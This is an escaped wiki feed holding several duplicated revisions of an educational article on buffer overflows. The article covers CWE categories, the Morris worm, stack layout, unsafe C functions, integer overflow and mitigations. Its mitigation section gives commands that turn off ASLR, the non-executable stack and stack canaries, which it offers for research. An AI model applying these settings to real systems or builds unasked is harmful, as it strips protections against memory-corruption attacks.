The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16969</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16969"/>
		<updated>2024-12-11T11:38:16Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* The Stack and Important Control Structures */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, &#039;&#039;&#039;a function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the return address (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; (stored in EIP) is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may overwrite the return pointer to redirect the flow of execution.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers (TODO) ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16968</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16968"/>
		<updated>2024-12-11T11:37:37Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Memory Layout of a Process */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
